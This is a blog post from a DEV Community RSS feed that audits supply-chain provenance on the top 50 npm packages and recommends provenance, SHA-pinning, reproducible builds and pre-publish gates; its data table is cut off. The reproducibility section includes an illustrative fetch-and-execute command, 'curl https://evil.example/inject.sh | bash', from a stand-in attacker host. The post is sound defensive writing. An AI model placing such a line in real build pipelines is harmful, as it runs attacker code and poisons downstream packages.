<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: The Crypto Donkey</title>
    <description>The latest articles on DEV Community by The Crypto Donkey (@thecryptodonkey).</description>
    <link>https://dev.to/thecryptodonkey</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3842207%2F6826917e-7459-4b84-a8de-1ac35ab47802.png</url>
      <title>DEV Community: The Crypto Donkey</title>
      <link>https://dev.to/thecryptodonkey</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/thecryptodonkey"/>
    <language>en</language>
    <item>
      <title>I audited the top 50 npm packages. Almost none ship with supply-chain attestations!</title>
      <dc:creator>The Crypto Donkey</dc:creator>
      <pubDate>Mon, 13 Apr 2026 11:46:22 +0000</pubDate>
      <link>https://dev.to/thecryptodonkey/i-audited-the-top-50-npm-packages-almost-none-ship-with-supply-chain-attestations-3ki8</link>
      <guid>https://dev.to/thecryptodonkey/i-audited-the-top-50-npm-packages-almost-none-ship-with-supply-chain-attestations-3ki8</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;I checked the 50 most-downloaded npm packages last week to see how many ship with supply-chain provenance.&lt;/p&gt;

&lt;p&gt;Six...&lt;/p&gt;

&lt;p&gt;That's 12%, roughly three years after npm launched provenance (public beta April 2023, GA September 2023).&lt;/p&gt;

&lt;p&gt;The other 44 tarballs are signed by the npm registry and nothing else. Nothing actually links them back to a source&lt;br&gt;
commit, a CI run, or even a specific human. Your &lt;code&gt;package-lock.json&lt;/code&gt; guarantees tarball integrity, but not who built the&lt;br&gt;
tarball or from which source.&lt;/p&gt;

&lt;p&gt;The basic fix is two lines. The full fix is harder, and that's the point of this post.&lt;/p&gt;
&lt;h2&gt;
  
  
  The audit
&lt;/h2&gt;

&lt;p&gt;I took the 50 most-downloaded npm packages by weekly downloads (npm public downloads API, week of 6th-12th April 2026).&lt;br&gt;
For each one, I fetched the latest version manifest and then checked the npm attestations endpoint for a&lt;br&gt;
&lt;code&gt;slsa.dev/provenance/v1&lt;/code&gt; predicate. No predicate, no provenance.&lt;/p&gt;

&lt;p&gt;Six packages do however have it: &lt;code&gt;semver&lt;/code&gt;, &lt;code&gt;emoji-regex&lt;/code&gt;, &lt;code&gt;eslint-visitor-keys&lt;/code&gt;, &lt;code&gt;esbuild&lt;/code&gt;, &lt;code&gt;agent-base&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;eslint-scope&lt;/code&gt;. The two ESLint packages share a release pipeline, so the honest count is five independent publishers out&lt;br&gt;
of fifty.&lt;/p&gt;

&lt;p&gt;There's a full table at the bottom. A few things jumped out at me, as I went through it.&lt;/p&gt;
&lt;h3&gt;
  
  
  What's NOT in the top 50!
&lt;/h3&gt;

&lt;p&gt;Look at what isn't there: react, lodash, axios, express, vue, webpack, vite, dotenv, eslint. None of them.&lt;/p&gt;

&lt;p&gt;The top 50 by raw weekly downloads is dominated by the transitive utility layer everyone depends on: chalk, ansi-styles,&lt;br&gt;
semver, debug, ms, picomatch, glob. The packages developers name as their dependencies sit below position 50. The&lt;br&gt;
packages those packages depend on, transitively, sit at the top.&lt;/p&gt;

&lt;p&gt;Which means the supply-chain layer underneath everything you ship has 12% provenance.&lt;/p&gt;
&lt;h3&gt;
  
  
  The single biggest gap: &lt;code&gt;@types/node&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;@types/node&lt;/code&gt; ranks #17 with 290 million weekly downloads and ships with no attestations of any kind. It is published by&lt;br&gt;
the DefinitelyTyped publish bot, and every TypeScript project on the planet pulls it in. Of the 44 packages in the top&lt;br&gt;
50 without provenance, this is the single largest by download volume. Fixing this one package alone would deliver more&lt;br&gt;
attestation coverage to the ecosystem than any other single change.&lt;/p&gt;
&lt;h3&gt;
  
  
  Meta publishes &lt;code&gt;react-is&lt;/code&gt; without provenance
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;react-is&lt;/code&gt; has 245 million weekly downloads. Look at how it gets published.&lt;/p&gt;

&lt;p&gt;It's pushed by &lt;code&gt;react-bot&lt;/code&gt; from npm CLI version 10.8.2. No attestation. No CI identity. No commit binding. No Sigstore&lt;br&gt;
signature. Whatever workflow produced this tarball, the registry has no record tying it to a specific source commit.&lt;/p&gt;

&lt;p&gt;This is Meta. They run some of the most sophisticated CI in the world. React might be the most consequential JavaScript&lt;br&gt;
artefact on the planet. And a utility package in the React ecosystem ships with less provenance than a hobbyist's side&lt;br&gt;
project, because the hobbyist is &lt;code&gt;esbuild&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Microsoft publishes &lt;code&gt;typescript&lt;/code&gt; without provenance
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;typescript&lt;/code&gt; (163M weekly) and &lt;code&gt;tslib&lt;/code&gt; (337M weekly) are both pushed by &lt;code&gt;typescript-bot&lt;/code&gt; with no attestations. Microsoft&lt;br&gt;
is a Sigstore steward. Azure has an entire product wing around supply-chain attestation. And the packages backing every&lt;br&gt;
TypeScript build in the world have no cryptographic link to their source.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;code&gt;ms@2.1.3&lt;/code&gt; has been load-bearing since 2020
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;ms&lt;/code&gt; has 395 million weekly downloads. The current latest, &lt;code&gt;2.1.3&lt;/code&gt;, was published in December 2020. Publisher is&lt;br&gt;
&lt;code&gt;styfle&lt;/code&gt;, a Vercel engineer, pushing from a personal account. No CI, no attestation, no stable release since December&lt;br&gt;
2020.&lt;/p&gt;

&lt;p&gt;Every Node.js application you've ever built has &lt;code&gt;ms&lt;/code&gt; several layers deep. If styfle's npm account happened to be&lt;br&gt;
compromised, an attacker could push &lt;code&gt;ms@2.1.4&lt;/code&gt; with a cryptominer in it, and every fresh &lt;code&gt;npm install&lt;/code&gt; in the world&lt;br&gt;
would pull it within hours. The only thing preventing this is that nobody has done it yet.&lt;/p&gt;
&lt;h3&gt;
  
  
  Sindre Sorhus publishes 13 of the 50
&lt;/h3&gt;

&lt;p&gt;Thirteen of the top 50 are Sindre's: &lt;code&gt;chalk&lt;/code&gt;, &lt;code&gt;strip-ansi&lt;/code&gt;, &lt;code&gt;supports-color&lt;/code&gt;, &lt;code&gt;ansi-regex&lt;/code&gt;, &lt;code&gt;ansi-styles&lt;/code&gt;, &lt;code&gt;has-flag&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;find-up&lt;/code&gt;, &lt;code&gt;locate-path&lt;/code&gt;, &lt;code&gt;path-exists&lt;/code&gt;, &lt;code&gt;string-width&lt;/code&gt;, &lt;code&gt;wrap-ansi&lt;/code&gt;, &lt;code&gt;path-key&lt;/code&gt;, &lt;code&gt;get-stream&lt;/code&gt;. Zero with provenance.&lt;/p&gt;

&lt;p&gt;If one maintainer adopted provenance across his portfolio, the headline stat in this post would shift from 12% to 38%.&lt;/p&gt;
&lt;h3&gt;
  
  
  Only one org does this consistently: ESLint
&lt;/h3&gt;

&lt;p&gt;The six positives break down into five publishers: the npm team (semver), Mathias Bynens (emoji-regex), Evan Wallace (&lt;br&gt;
esbuild), TooTallNate (agent-base via the proxy-agents monorepo), and the ESLint org (eslint-visitor-keys and&lt;br&gt;
eslint-scope, both via release-please). Of those, only ESLint ships provenance across multiple packages. Every other&lt;br&gt;
positive is a one-off — a single maintainer who bolted provenance onto one package. There is no broader org push visible&lt;br&gt;
in the top 50 yet.&lt;/p&gt;
&lt;h2&gt;
  
  
  The two-line fix
&lt;/h2&gt;

&lt;p&gt;If you maintain a package, here's the fix.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;id-token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;

  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm publish --provenance --access public&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First block opts your workflow into OIDC. Second tells npm to attach a provenance attestation. Done. Every release from&lt;br&gt;
now on carries a Sigstore-signed claim linking the tarball back to a specific commit and workflow run.&lt;/p&gt;

&lt;p&gt;pnpm and yarn have equivalent &lt;code&gt;--provenance&lt;/code&gt; flags. JSR auto-includes attestations when publishing from CI.&lt;/p&gt;

&lt;p&gt;That's the headline ask. If you stop reading here and ship that change, you've improved the supply-chain posture of&lt;br&gt;
every consumer of your package. Worth doing.&lt;/p&gt;

&lt;p&gt;But provenance alone doesn't save you. Here's why.&lt;/p&gt;
&lt;h2&gt;
  
  
  The tj-actions story
&lt;/h2&gt;

&lt;p&gt;On 14 March 2025 someone compromised the &lt;code&gt;tj-actions/changed-files&lt;/code&gt; GitHub Action (CVE-2025-30066). It's used in over&lt;br&gt;
23,000 repositories to work out which files changed in a PR.&lt;/p&gt;

&lt;p&gt;The attacker repointed multiple existing Git tags (v1.0.0, v35.7.7-sec, v44.5.1, v5, several others) to a single&lt;br&gt;
malicious commit, &lt;code&gt;0e58ed8671d6b60d0890c21b07f8835ace038e67&lt;/code&gt;. That commit dumped CI/CD secrets out of runner memory and&lt;br&gt;
into the action's own log output. For public repos, anyone with a browser could harvest them.&lt;/p&gt;

&lt;p&gt;The fix, then and now, is SHA-pinning. If your workflow uses this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tj-actions/changed-files@v44&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You're trusting whatever commit &lt;code&gt;v44&lt;/code&gt; happens to point to right now. The maintainer, or an attacker who controls the&lt;br&gt;
maintainer's GitHub account, can change that commit at any time and you won't notice.&lt;/p&gt;

&lt;p&gt;Pin to a SHA instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tj-actions/changed-files@&amp;lt;full-commit-sha&amp;gt;&lt;/span&gt;  &lt;span class="c1"&gt;# plus a comment with the version it corresponds to&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That commit is immutable. The same workflow run a year from now uses the same code.&lt;/p&gt;

&lt;p&gt;So your release workflow needs provenance AND SHA-pinned actions. Two separate protections, neither of which gives you&lt;br&gt;
the other.&lt;/p&gt;

&lt;h2&gt;
  
  
  The reproducibility gap
&lt;/h2&gt;

&lt;p&gt;There's a third gap. Even with provenance and SHA-pinned actions, you're trusting the workflow itself.&lt;/p&gt;

&lt;p&gt;Provenance proves the tarball came out of &lt;code&gt;your-repo/.github/workflows/release.yml&lt;/code&gt; at commit &lt;code&gt;abc123&lt;/code&gt;. It does not&lt;br&gt;
prove that someone independently verifying the source can rebuild the same tarball.&lt;/p&gt;

&lt;p&gt;Why does that matter? If your workflow is compromised, say an attacker pushes a commit that runs an extra&lt;br&gt;
&lt;code&gt;curl https://evil.example/inject.sh | bash&lt;/code&gt; before the publish step, the resulting tarball will have a perfectly valid&lt;br&gt;
provenance attestation. The attestation just says "this came from this workflow at this commit." It doesn't say "this&lt;br&gt;
matches what a clean rebuild from source would produce."&lt;/p&gt;

&lt;p&gt;Reproducible builds close that gap. The workflow records exactly how the tarball was built. A third party (you, a&lt;br&gt;
security researcher, a paranoid downstream consumer) can clone the source at the recorded commit, run the same build,&lt;br&gt;
and check the output matches the published tarball bit-for-bit. If it doesn't match, something injected itself between&lt;br&gt;
the source and the artefact.&lt;/p&gt;

&lt;p&gt;This is harder to set up than provenance. You need deterministic builds, a documented build environment, and&lt;br&gt;
verification tooling. Most npm packages don't bother. Most of them probably could.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pre-publish gate gap
&lt;/h2&gt;

&lt;p&gt;There's a fourth gap, and this one's almost trivial but almost nobody enforces it.&lt;/p&gt;

&lt;p&gt;If your workflow runs &lt;code&gt;npm publish&lt;/code&gt; without first running &lt;code&gt;npm test&lt;/code&gt;, &lt;code&gt;npm run lint&lt;/code&gt;, and &lt;code&gt;npm run typecheck&lt;/code&gt; and&lt;br&gt;
failing the publish if any of them fail, you've left a window for shipping broken code by accident.&lt;/p&gt;

&lt;p&gt;This isn't a supply-chain attack class on its own. But it compounds the others. If your tests would have caught a&lt;br&gt;
malicious commit but they didn't run before the publish, the malicious commit ships. If your linter would have flagged&lt;br&gt;
the suspicious &lt;code&gt;eval()&lt;/code&gt; but it didn't run, the flag is silent.&lt;/p&gt;

&lt;p&gt;Every reasonable release pipeline should have hard pre-publish gates. Most don't. Adding them to a workflow is a few&lt;br&gt;
dozen lines of YAML and an afternoon of debugging your jobs DAG.&lt;/p&gt;

&lt;h2&gt;
  
  
  The full defence is four things
&lt;/h2&gt;

&lt;p&gt;Pulling this together:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Provenance attestations&lt;/strong&gt;: link the tarball to a specific source commit and workflow&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SHA-pinned action dependencies&lt;/strong&gt;: actions can't be swapped under you&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reproducible build verification&lt;/strong&gt;: third parties can verify the tarball matches source&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hard pre-publish gates&lt;/strong&gt;: tests, lint, type-check must pass or no release&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each one is honestly, not that hard on its own. The problem is doing all four, getting them right and keeping them right&lt;br&gt;
as your workflow evolves, and... not breaking anything in the process.&lt;/p&gt;

&lt;p&gt;A typical release workflow trying to do all four ends up at 200 to 400 lines of YAML, with shell scripts inlined as&lt;br&gt;
&lt;code&gt;run:&lt;/code&gt; blocks, error handling that's easy to get wrong, and edge cases (what if the tag doesn't match the version?, what&lt;br&gt;
if the changelog is missing?, what if the prepack script tries to escape the JSON parser?) that mostly get discovered&lt;br&gt;
the hard way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where to start
&lt;/h2&gt;

&lt;p&gt;The two-line provenance fix is the easiest win. Ship that today, please. Whichever package you maintain, your downstream&lt;br&gt;
users are better off for it.&lt;/p&gt;

&lt;p&gt;For the rest (SHA-pinning, reproducibility verification, pre-publish gates), wire them into your own workflow as you&lt;br&gt;
have time. The four ideas matter more than any particular implementation.&lt;/p&gt;

&lt;p&gt;If you'd rather start from a worked example, i've been hacking on a small GitHub Action&lt;br&gt;
called &lt;a href="https://github.com/forgesworn/anvil" rel="noopener noreferrer"&gt;anvil&lt;/a&gt; that bundles all four. Pure bash, no npm dependencies, sized to be&lt;br&gt;
readable end-to-end. Take it, fork it, ignore it, whatever's useful for you.&lt;/p&gt;

&lt;h2&gt;
  
  
  What none of this covers
&lt;/h2&gt;

&lt;p&gt;Even with all four protections in place, three things stay outside:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Compromise of your source repo.&lt;/strong&gt; If an attacker has commit access and pushes malicious code, the pipeline will
faithfully build, attest, and publish that code. Garbage in, signed garbage out. The defence here is branch
protections, code review, and a trusted committer set.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compromise of npm itself.&lt;/strong&gt; The attestation infrastructure trusts npm's registry to serve attestation files
honestly. If npm is compromised, all bets are off across the ecosystem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak tests.&lt;/strong&gt; Pre-publish gates fire if your tests pass. Weak tests mean weak gates. The pipeline audits your
release process, not your code.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These protections make the publishing journey trustworthy. They don't make your code trustworthy. Different problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  The full data
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Package&lt;/th&gt;
&lt;th&gt;Weekly DLs&lt;/th&gt;
&lt;th&gt;Latest&lt;/th&gt;
&lt;th&gt;Provenance?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;semver&lt;/td&gt;
&lt;td&gt;610,243,244&lt;/td&gt;
&lt;td&gt;7.7.4&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;debug&lt;/td&gt;
&lt;td&gt;532,691,311&lt;/td&gt;
&lt;td&gt;4.4.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;minimatch&lt;/td&gt;
&lt;td&gt;523,461,265&lt;/td&gt;
&lt;td&gt;10.2.5&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;ansi-styles&lt;/td&gt;
&lt;td&gt;522,769,972&lt;/td&gt;
&lt;td&gt;6.2.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;strip-ansi&lt;/td&gt;
&lt;td&gt;411,102,176&lt;/td&gt;
&lt;td&gt;7.2.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;chalk&lt;/td&gt;
&lt;td&gt;396,817,233&lt;/td&gt;
&lt;td&gt;5.6.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;ms&lt;/td&gt;
&lt;td&gt;395,779,232&lt;/td&gt;
&lt;td&gt;2.1.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;supports-color&lt;/td&gt;
&lt;td&gt;385,913,524&lt;/td&gt;
&lt;td&gt;10.2.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;ansi-regex&lt;/td&gt;
&lt;td&gt;379,372,821&lt;/td&gt;
&lt;td&gt;6.2.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;string-width&lt;/td&gt;
&lt;td&gt;364,135,592&lt;/td&gt;
&lt;td&gt;8.2.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;commander&lt;/td&gt;
&lt;td&gt;340,189,824&lt;/td&gt;
&lt;td&gt;14.0.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;tslib&lt;/td&gt;
&lt;td&gt;337,234,183&lt;/td&gt;
&lt;td&gt;2.8.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;picomatch&lt;/td&gt;
&lt;td&gt;323,026,531&lt;/td&gt;
&lt;td&gt;4.0.4&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;wrap-ansi&lt;/td&gt;
&lt;td&gt;320,436,278&lt;/td&gt;
&lt;td&gt;10.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;emoji-regex&lt;/td&gt;
&lt;td&gt;312,985,608&lt;/td&gt;
&lt;td&gt;10.6.0&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;glob&lt;/td&gt;
&lt;td&gt;309,837,287&lt;/td&gt;
&lt;td&gt;13.0.6&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;@types/node&lt;/td&gt;
&lt;td&gt;290,430,824&lt;/td&gt;
&lt;td&gt;25.6.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;color-name&lt;/td&gt;
&lt;td&gt;264,344,627&lt;/td&gt;
&lt;td&gt;2.1.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;color-convert&lt;/td&gt;
&lt;td&gt;262,462,195&lt;/td&gt;
&lt;td&gt;3.1.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;readable-stream&lt;/td&gt;
&lt;td&gt;261,917,376&lt;/td&gt;
&lt;td&gt;4.7.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;eslint-visitor-keys&lt;/td&gt;
&lt;td&gt;254,322,113&lt;/td&gt;
&lt;td&gt;5.0.1&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;has-flag&lt;/td&gt;
&lt;td&gt;250,891,975&lt;/td&gt;
&lt;td&gt;5.0.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;ajv&lt;/td&gt;
&lt;td&gt;249,009,348&lt;/td&gt;
&lt;td&gt;8.18.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;react-is&lt;/td&gt;
&lt;td&gt;245,659,013&lt;/td&gt;
&lt;td&gt;19.2.5&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;uuid&lt;/td&gt;
&lt;td&gt;230,086,504&lt;/td&gt;
&lt;td&gt;13.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26&lt;/td&gt;
&lt;td&gt;find-up&lt;/td&gt;
&lt;td&gt;229,152,120&lt;/td&gt;
&lt;td&gt;8.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;td&gt;glob-parent&lt;/td&gt;
&lt;td&gt;226,159,537&lt;/td&gt;
&lt;td&gt;6.0.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;td&gt;safe-buffer&lt;/td&gt;
&lt;td&gt;222,239,808&lt;/td&gt;
&lt;td&gt;5.2.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;locate-path&lt;/td&gt;
&lt;td&gt;220,855,701&lt;/td&gt;
&lt;td&gt;8.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;postcss&lt;/td&gt;
&lt;td&gt;195,793,780&lt;/td&gt;
&lt;td&gt;8.5.9&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;31&lt;/td&gt;
&lt;td&gt;string_decoder&lt;/td&gt;
&lt;td&gt;188,111,762&lt;/td&gt;
&lt;td&gt;1.3.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;acorn&lt;/td&gt;
&lt;td&gt;183,503,639&lt;/td&gt;
&lt;td&gt;8.16.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;33&lt;/td&gt;
&lt;td&gt;mime-db&lt;/td&gt;
&lt;td&gt;180,737,586&lt;/td&gt;
&lt;td&gt;1.54.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;34&lt;/td&gt;
&lt;td&gt;ws&lt;/td&gt;
&lt;td&gt;177,306,431&lt;/td&gt;
&lt;td&gt;8.20.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;td&gt;mime-types&lt;/td&gt;
&lt;td&gt;177,084,777&lt;/td&gt;
&lt;td&gt;3.0.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;36&lt;/td&gt;
&lt;td&gt;path-key&lt;/td&gt;
&lt;td&gt;176,474,004&lt;/td&gt;
&lt;td&gt;4.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;37&lt;/td&gt;
&lt;td&gt;yargs-parser&lt;/td&gt;
&lt;td&gt;170,472,845&lt;/td&gt;
&lt;td&gt;22.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;38&lt;/td&gt;
&lt;td&gt;yargs&lt;/td&gt;
&lt;td&gt;167,217,371&lt;/td&gt;
&lt;td&gt;18.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;estraverse&lt;/td&gt;
&lt;td&gt;166,362,125&lt;/td&gt;
&lt;td&gt;5.3.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;td&gt;esbuild&lt;/td&gt;
&lt;td&gt;164,021,497&lt;/td&gt;
&lt;td&gt;0.28.0&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;41&lt;/td&gt;
&lt;td&gt;typescript&lt;/td&gt;
&lt;td&gt;163,781,296&lt;/td&gt;
&lt;td&gt;6.0.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;fs-extra&lt;/td&gt;
&lt;td&gt;161,928,194&lt;/td&gt;
&lt;td&gt;11.3.4&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;agent-base&lt;/td&gt;
&lt;td&gt;159,319,294&lt;/td&gt;
&lt;td&gt;9.0.0&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;44&lt;/td&gt;
&lt;td&gt;cliui&lt;/td&gt;
&lt;td&gt;157,997,558&lt;/td&gt;
&lt;td&gt;9.0.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;45&lt;/td&gt;
&lt;td&gt;path-exists&lt;/td&gt;
&lt;td&gt;157,258,167&lt;/td&gt;
&lt;td&gt;5.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;json5&lt;/td&gt;
